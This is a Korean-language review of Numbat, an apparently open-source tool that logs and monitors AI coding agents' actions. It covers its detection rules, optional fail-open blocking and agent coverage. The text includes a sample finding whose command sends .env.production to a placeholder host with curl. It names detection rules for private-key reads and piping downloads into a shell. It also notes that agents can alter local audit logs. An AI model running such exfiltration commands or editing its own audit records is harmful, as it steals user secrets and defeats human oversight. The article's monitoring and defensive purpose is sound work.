Perplexity Numbat: AI 에이전트 작업 기록 및 모니터링

Numbat이란 무엇인가

Numbat은 사용자가 소유한 머신에서 AI 에이전트가 수행한 작업을 가시적으로 보여줍니다. 코딩 에이전트가 이미 생성하는 훅 콜백(hook callbacks)과 세션 파일을 읽어 단일 이벤트 형식으로 정규화합니다. 이후 SSH 개인 키를 읽거나 다운로드한 내용을 셸로 직접 파이핑(piping)하는 등의 동작을 감지하는 규칙과 대조합니다. Perplexity는 이를 Apache 2.0 라이선스로 오픈 소스화했으며, 2026년 7월 29일에 첫 번째 태그된 릴리스를 공개했습니다.

아래의 모든 내용은 2026년 8월 2일에 확인한 해당 프로젝트의 저장소 및 자체 문서를 기반으로 합니다. Perplexity의 주장이 포함된 경우 이를 명시했습니다. 저장소가 공개된 지 며칠 되지 않았고 명령어 변경 가능성이 높으므로, 이 글은 설치 튜토리얼이 아닙니다.

문제: 에이전트가 수행한 작업에 대한 기록 부재

VPS에서 실행되는 코딩 에이전트는 사용자가 부여한 권한으로 셸 명령어를 실행하고, 파일을 읽고 쓰며, 네트워크 연결을 엽니다. 에이전트는 사용자의 셸에 직접 타이핑하는 방식이 아니므로, 셸 히스토리에는 이러한 작업이 기록되지 않습니다. sshd는 사용자의 로그인 기록만 남길 뿐, 그 이후 모델이 결정한 작업은 기록하지 않습니다. /var/log/auth.log는 누군가 sudo에 접근하기 전까지는 아무런 정보를 제공하지 않습니다. 에이전트가 자체적인 기록을 남기기는 하지만, 해당 파일은 에이전트의 세션 디렉터리에 저장되며 릴리스마다 형식이 바뀌고 에이전트 프로세스 자체가 해당 파일을 수정할 수도 있습니다.

따라서 누군가 지난 화요일에 에이전트가 .env.production을 읽었는지 묻는다면, 대부분의 서버에서는 확인할 방법이 없다는 것이 솔직한 답변입니다. 이러한 공백이 바로 이 프로젝트가 존재하는 이유입니다.

Perplexity가 설명하는 Numbat의 기능

README는 이 도구를 "AI 에이전트 활동에 대한 엔드포인트 가시성을 제공하며, 로컬 탐지, 선택적 사전 차단, 포렌식 재구성을 지원한다"고 소개합니다. 여기서 엔드포인트란 외부에서 감시하는 네트워크 장비가 아니라 에이전트가 실행되는 머신 자체를 의미합니다. 이들은 각각 별개의 기능이며, 그 중요도 또한 다릅니다.

탐지는 장치 내부에서 수행됩니다. 규칙은 CEL(Common Expression Language)로 작성되어 로컬에서 평가되며, 상위 수준의 다단계 시퀀스 규칙과 YAML을 통한 사용자 정의 규칙을 지원합니다. 규칙이 실행되기 위해 머신 외부로 데이터를 보낼 필요는 없습니다.

차단 기능은 선택 사항이며 범위가 제한적입니다. 이 기능은 사전 동작 훅(pre-action hooks)을 노출하는 에이전트에서 동기식으로만 작동하며, 사용자가 활성화하기 전까지는 꺼져 있습니다.

재구성은 사후에 이루어집니다. numbat scan은 에이전트가 이미 디스크에 기록한 세션 아티팩트를 파싱하므로, 도구를 설치하기 전의 활동도 살펴볼 수 있습니다. 프로젝트는 이 기능의 범위를 다음과 같이 명확히 제한합니다. "저장된 데이터의 재구성은 디스크나 메모리 덤프가 아니며, 에이전트가 기록하지 않은 활동은 복구할 수 없습니다."

출력은 버전이 지정된 NDJSON(newline delimited JSON) 형식이며, 이벤트, 탐지 결과, 강제 조치 결정, 지표 및 스캔 요약을 포함합니다. v0.1.2 버전 기준으로 스키마 버전은 0.2.0입니다. 레코드는 stdout이나 로컬 파일로 출력되며, 선택적으로 사용자가 운영하는 수집기(collector)로 HTTP를 통해 전송할 수 있습니다. 이 도구는 cgo 없이 빌드된 단일 정적 Go 바이너리로 제공되며, macOS, Linux, Windows의 amd64 및 arm64 아키텍처를 지원합니다. 따라서 Linux VPS에서는 별도의 런타임 설치 없이 단일 파일만으로 실행할 수 있습니다.

Numbat이 실제로 확인할 수 있는 에이전트는 무엇입니까?

docs/agent-coverage.md의 커버리지 매트릭스는 공식 목록이며, 지원 범위는 균일하지 않습니다. 프로젝트는 이를 숨기지 않고 명확하게 밝히고 있습니다. Claude Code, Codex, Gemini CLI, Cursor 및 GitHub Copilot CLI는 아티팩트 스캔과 사전 작업 훅(pre-action hook)을 통한 실시간 캡처를 모두 지원합니다. OpenClaw는 2026.7.1 버전부터 네이티브 플러그인을 제공합니다. 긴 꼬리(long tail) 형태의 항목들은 '보류(deferred)'로 표시되어 있는데, 이는 실시간 훅 경로는 존재하지만 아티팩트 파서가 없음을 의미합니다. 이는 주로 해당 에이전트가 기록을 SQLite에 저장할 때 에이전트 실행 중에는 읽기가 안전하지 않은 write-ahead log를 사용하기 때문입니다. 2026년 8월 2일 매트릭스 확인 당시 OpenCode와 Cline이 이 그룹에 포함되어 있었습니다.

이 도구를 사용하여 계획을 세우기 전에 반드시 사용하는 에이전트의 행을 확인하십시오. 거의 모든 항목에서 "지원됨"의 의미가 다르게 적용되기 때문입니다.

탐지 결과의 형태

규칙에는 해당 규칙의 목적을 나타내는 ID가 부여됩니다. secrets.read_private_key은 SSH 키, AWS 자격 증명, kube config 또는 패키지 레지스트리 로그인 정보를 다룹니다. exec.download_pipe_shell은 curl 또는 wget의 출력이 인터프리터로 파이프될 때 발생합니다. privilege.elevated_shell는 sudo, doas, su 또는 pkexec을 통한 대화형 root 셸 요청을 탐지합니다. impact.cryptomining_launch는 알려진 채굴기 바이너리 및 이미지 이름과 일치합니다.

시퀀스 규칙은 단일 세션 내의 이벤트를 결합합니다. chain.secret_read_then_egress은 비밀 파일 읽기 작업 이후 데이터를 외부로 전송하는 명령이 이어질 때 발생합니다. README는 실제 사고가 아닌, 두 개의 Claude Code 사전 작업 콜백을 통제된 환경에서 재현하여 얻은 아래의 탐지 결과를 게시합니다. 여기서는 중요한 필드만 남기고 정리했습니다.

{
  "record_type": "finding",
  "rule_id": "chain.secret_read_then_egress",
  "rule_version": "1.4",
  "severity": "high",
  "confidence": "medium",
  "title": "Secret-file access followed by data-bearing egress",
  "observed_command": "curl --data-binary @/workspace/acme-api/.env.production https://collector.example.invalid/ingest",
  "source_agent": "claude-code",
  "source_type": "hook",
  "tags": ["attack.t1048", "attack.t1552", "attack.t1567"]
}

기록 내에 포함된 "confidence": "medium"을 확인하십시오. 또한 이러한 유형의 출력 전체에 대해 프로젝트에서 언급하는 내용을 참고하십시오: "탐지 결과는 규칙 일치일 뿐, 침해의 증거는 아닙니다." 키를 읽은 뒤 빌드 아티팩트를 업로드하는 배포 스크립트도 동일한 시퀀스 규칙과 일치할 것입니다. 일치는 정확하지만 경보는 잘못된 것인데, 이는 지금까지 사용해 온 모든 탐지 도구에서 나타나는 일반적인 현상입니다.

차단 기능은 기본적으로 꺼져 있으며, 실패 시 허용(fail-open) 방식으로 동작합니다

Numbat이 제공하는 모든 규칙은 기본적으로 모니터링 전용입니다. 규칙을 차단용으로 전환하려면 의도적인 작업이 필요합니다. 해당 규칙의 전체 YAML을 사용자 디렉터리로 복사하고, 동일한 id를 유지하며, enforce: true를 추가하고, 버전을 올린 뒤, 해당 정책을 검증하고 설치해야 합니다.

numbat rules check --rules-dir ./numbat-policy
numbat hook install --agent codex --emit all \
  --rules-dir ./numbat-policy --enforce

이제 이 규칙을 얼마나 신뢰해야 할지 결정하는 부분입니다. Numbat의 거부(deny)는 에이전트로 전달되는 응답이며, 실제로 도구 호출을 거부하는 주체는 에이전트입니다. 시행 가이드에서는 Numbat 자체에 문제가 발생할 경우에 대해 다음과 같이 명시합니다: "잘못된 페이로드, 관련 평가 오류, 패닉, 출력 실패는 numbat의 거부 응답을 억제합니다." 훅 입력은 4 MiB로 제한되며, 이를 초과하는 입력도 동일한 경로를 따릅니다.

가이드는 거부 응답이 실제로 도달했을 때의 한계에 대해서도 명확히 밝히고 있습니다: "실패 시 허용(Fail-open)이란 numbat이 거부 응답을 보내지 않는다는 의미입니다. 이것이 도구 실행을 보장하는 것은 아닙니다. 호스트가 여전히 프롬프트를 띄우거나, 거부하거나, 시간 초과를 발생시키거나, 다른 훅이나 정책을 적용할 수 있기 때문입니다."

따라서 여기서의 시행은 경계선이 아니라 안전장치입니다. 프로세스가 충돌하더라도 Numbat에 의해 작업이 차단되지는 않습니다. 문제가 발생할 때마다 에이전트를 멈추게 하는 모니터링 도구는 일주일도 채 되지 않아 삭제될 것이기 때문입니다. 이러한 절충안은 합리적입니다. 거부 응답이 항상 도착할 것이라고 가정하는 보안 모델을 구축하지 마십시오.

기존 운영 환경에서 Numbat의 위치

Numbat은 엔드포인트에서 에이전트 자체 프로세스 트리 내부로 실행되며, 기본적으로 ~/.numbat/records.ndjson에 기록합니다. 사용자의 권한으로 실행 중인 에이전트는 해당 파일을 읽을 수 있으며, 수정 또한 가능합니다. 감사 추적의 가치는 그 주변의 격리 수준과 정확히 일치하므로, 기존에 보유한 모든 통제 수단은 이 도구의 뒤가 아닌 앞에 배치해야 합니다.

코딩 에이전트에 일회용 VM 제공하기는 잘못된 실행이 도달할 수 있는 범위를 제한합니다. VPS에서 최소 권한 사용자 사용하기는 에이전트가 열어볼 필요가 없는 파일에 접근하지 못하도록 차단합니다. 에이전트 컨텍스트에서 자격 증명 제외하기는 secrets.read_private_key 일치가 발생했을 때 읽어볼 가치가 있을 만큼 드물게 만드는 핵심 요소입니다. 그리고 VPS에 Claude Code를 위해 설정한 샌드박스는 여전히 격리를 수행하는 주체입니다.

Numbat이 추가하는 것은 기록이므로, 에이전트가 접근할 수 없는 곳으로 기록을 전송하십시오. numbat ship와 HTTP 싱크가 존재하는 이유가 바로 이것입니다. 두 번째 머신에 스트림 사본을 보관하는 것은 로그 파일과 증거를 구분 짓는 차이입니다. 이벤트 모델은 MCP(model context protocol) 필드도 포함하므로, VPS에서 호스팅하는 MCP 서버를 통해 나가는 도구 호출은 로컬 셸 명령과 동일한 스트림에 기록됩니다. 이는 bash만 모니터링하는 방식으로는 해당 경로를 확인할 수 없기 때문에 매우 중요합니다.

먼저 읽기 전용으로 시도하기

고정된 버전을 설치하십시오. go install을(를) 사용하려면 Go 1.26.5 이상이 필요하며, 소스에서 빌드하는 것을 원치 않는 경우 릴리스 페이지에서 SHA-256 체크섬이 포함된 사전 빌드된 바이너리를 제공합니다.

go install github.com/perplexityai/numbat/cmd/numbat@v0.1.2
numbat agents
numbat scan

numbat agents은(는) 시스템에 설치된 에이전트를 탐색합니다. numbat scan은(는) 디스크에 이미 존재하는 세션 아티팩트를 파싱하여 기록을 출력합니다. README에 따르면 이 명령어들은 "후크를 설치하거나 에이전트 설정을 변경하지 않으며", numbat은 "아티팩트에서 발견된 에이전트나 명령어를 절대 실행하지 않고, 설정된 HTTP 싱크로만 아웃바운드 요청을 보냅니다". 스캔은 비밀 정보가 마스킹된 상태로 읽기 전용으로 수행되며, 일반적인 기록 출력에는 전체 원본 트랜스크립트가 포함되지 않습니다.

실시간 캡처는 다음 단계이며, 이 과정에서는 에이전트 설정이 변경됩니다.

numbat hook install --agent codex --emit all
numbat hook status --agent codex

--emit all은(는) 이벤트, 탐지 결과, 지표 및 적용 가능한 강제 결정 사항을 ~/.numbat/records.ndjson에 기록합니다. 프로젝트 측에서 제공하는 두 가지 주의 사항이 있습니다. 후크는 실행되기 전에 에이전트 내부에서 신뢰를 얻어야 할 수 있으며, --enforce와 같은 플래그를 변경한 후에는 해당 신뢰를 다시 검토해야 합니다. 또한 hook status은(는) "실행이나 전달이 아닌 설정을 검증"하므로, 정상 상태를 나타내는 줄이 기록이 어딘가에 성공적으로 도착했다는 증거는 아닙니다.

왜 이처럼 새로운 저장소를 의존성으로 사용하면 안 되는가

공개된 릴리스는 2026년 7월 29일의 v0.1.1과 2026년 8월 1일의 v0.1.2입니다. 이 글을 작성하는 2026년 8월 2일 기준으로 저장소의 스타 수는 597개입니다. 이처럼 빠른 수치 증가는 코드의 안정성이 아니라 Perplexity 사용자의 관심을 반영합니다. 스타는 누군가 나중에 보려고 페이지를 저장했다는 의미일 뿐입니다.

버전 번호는 이 프로젝트의 현재 위치를 솔직하게 보여줍니다. v0.1.2의 변경 사항은 대부분 자격 증명 마스킹 수정, 케이스 번들 및 텔레메트리 정규화 작업입니다. 다른 프로그램의 기록을 안전하게 읽는 도구에서 마스킹 버그가 발생하는 것은 초기 단계에서 예상되는 결함입니다. 입력 데이터는 각자의 일정에 따라 형식을 바꾸는 수십 개의 에이전트에서 오기 때문에 앞으로도 이러한 결함은 계속 발견될 것입니다.

다음 두 가지 실무 규칙을 따르십시오. 유지 관리하는 모든 곳에서 @latest 대신 태그를 고정하십시오. 그리고 레코드 스키마가 더 이상 변경되지 않을 때까지는, 이 도구를 의존하는 제어 장치가 아니라 평가 중인 도구로 취급하십시오.

FAQ

Numbat은 위험한 AI 에이전트 명령을 차단합니까?

사용자가 직접 선택한 경우에 한해, 최선의 노력(best effort)을 다해 차단합니다. Numbat이 제공하는 모든 규칙은 기본적으로 모니터링 전용입니다. 차단하려면 해당 규칙의 YAML을 사용자 디렉터리로 복사하고, ID를 유지한 채 enforce: true를 추가하고, 버전을 올린 뒤 --enforce으로 훅을 설치해야 합니다. 차단 설정이 적용되더라도 이는 에이전트로 전달되는 응답일 뿐이며, 실제로 호출을 거부하는 주체는 에이전트 자신입니다. 이 프로젝트는 fail-open 동작을 따릅니다. 즉, 잘못된 페이로드, 평가 오류, 패닉, 출력 실패 등이 발생하면 차단 기능은 작동하지 않습니다. Numbat을 유일한 보안 경계가 아닌 가드레일로 사용하십시오.

Numbat은 어떤 AI 에이전트를 지원합니까?

지원 범위는 에이전트마다 다르며 저장소의 docs/agent-coverage.md에 나열되어 있습니다. 2026년 8월 2일 기준으로 Claude Code, Codex, Gemini CLI, Cursor, GitHub Copilot CLI는 아티팩트 스캔과 실시간 캡처를 모두 지원하며, OpenClaw는 2026.7.1 버전부터 네이티브 플러그인을 제공합니다. 다른 많은 에이전트는 실시간 훅 경로는 명시되어 있으나 아직 아티팩트 파서가 없는 상태입니다. 이는 주로 에이전트 실행 중에 읽기 안전하지 않은 SQLite 데이터베이스에 세션 기록이 저장되기 때문입니다. "지원됨"이라는 단어는 여러 수준의 지원을 포괄하므로, 사용하는 에이전트의 항목을 직접 확인하십시오.

에이전트가 Numbat의 기록을 변조할 수 있습니까?

네, 에이전트가 동일한 사용자로 실행되는 경우 가능합니다. 기록은 기본적으로 에이전트와 같은 머신의 ~/.numbat/records.ndjson에 저장되므로, 해당 경로에 쓰기 권한이 있는 모든 프로세스는 기록을 수정하거나 삭제할 수 있습니다. numbat ship나 HTTP 싱크를 사용하여 에이전트가 접근할 수 없는 수집기로 스트림을 전송하고, 로컬 파일은 편의용 복사본으로만 유지하십시오. 이것이 바로 이 도구가 격리 기술을 대체하는 것이 아니라 보완하는 이유입니다. 최소 권한 사용자로 실행되는 일회용 VM에 격리된 에이전트는 자신의 감사 기록에 접근할 권한이 훨씬 제한됩니다.

Numbat을 운영 서버에 사용할 준비가 되었습니까?

의존성이 높은 제어 도구로 사용하기에는 아직 이릅니다. 첫 공개 릴리스는 2026년 7월 29일 v0.1.1이며, 2026년 8월 1일에 v0.1.2가 뒤따랐으므로 플래그와 기록 스키마는 여전히 변경될 수 있습니다. 서버에서 numbat agents 및 numbat scan을 실행하는 것은 읽기 전용 작업이므로 위험이 낮으며, 에이전트가 디스크에 남긴 흔적을 파악하는 데 유용합니다. 중요한 서버에 강제 적용 훅을 설치하는 것은 별개의 문제이며, 고정된 태그를 사용하고 훅이 오작동할 경우에 대비한 계획을 수립해야 합니다.